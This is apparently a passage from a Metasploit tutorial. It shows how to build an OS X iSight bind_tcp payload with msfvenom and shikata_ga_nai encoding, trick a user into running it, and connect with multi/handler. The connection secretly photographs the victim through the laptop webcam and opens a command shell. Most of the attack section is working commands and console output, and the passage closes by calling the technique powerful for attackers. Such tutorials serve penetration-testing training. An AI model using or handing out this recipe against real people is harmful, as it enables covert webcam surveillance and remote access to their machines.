One of the more interesting things about the Mac platform is how cameras are built into all of their laptops. This fact has not gone unnoticed by Metasploit developers, as there is a very interesting module that will take a picture with the built in camera.
Lets see it in action. First we generate a stand alone executable to transfer to a OS X system:
root@kali:~# msfvenom -a x86 --platform OSX -p osx/x86/isight/bind_tcp -b "\x00" -f elf -o /tmp/osxt2 Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 171 (iteration=0) x86/shikata_ga_nai chosen with final size 171 Payload size: 171 bytes
So, in this scenario we trick the user into executing the executable we have created, then we use ‘multi/handler’ to connect in and take a picture of the user.
msf > use multi/handler msf exploit(handler) > set PAYLOAD osx/x86/isight/bind_tcp PAYLOAD => osx/x86/isight/bind_tcp msf exploit(handler) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (osx/x86/isight/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AUTOVIEW true yes Automatically open the picture in a browser BUNDLE ~/data/isight.bundle yes The local path to the iSight Mach-O Bundle to upload LPORT 4444 yes The local port RHOST no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > ifconfig eth0 [*] exec: ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:0c:29:a7:f1:c5 inet addr:172.16.104.150 Bcast:172.16.104.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fea7:f1c5/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:234609 errors:4 dropped:0 overruns:0 frame:0 TX packets:717103 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:154234515 (154.2 MB) TX bytes:58858484 (58.8 MB) Interrupt:19 Base address:0x2000 msf exploit(handler) > set RHOST 172.16.104.1 RHOST => 172.16.104.1 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler [*] Sending stage (421 bytes) [*] Sleeping before handling stage... [*] Uploading bundle (29548 bytes)... [*] Upload completed. [*] Downloading photo... [*] Downloading photo (13571 bytes)... [*] Photo saved as /root/.msf4/logs/isight/172.16.104.1_20090821.495489022.jpg [*] Opening photo in a web browser... Error: no display specified [*] Command shell session 2 opened (172.16.104.150:57008 -> 172.16.104.1:4444) [*] Command shell session 2 closed. msf exploit(handler) >
Very interesting! It appears we have a picture! Lets see what it looks like.
Amazing. This is a very powerful feature with can be used for many different purposes. The standardization of the Apple hardware platform has created a well defined platform for attackers to take advantage of.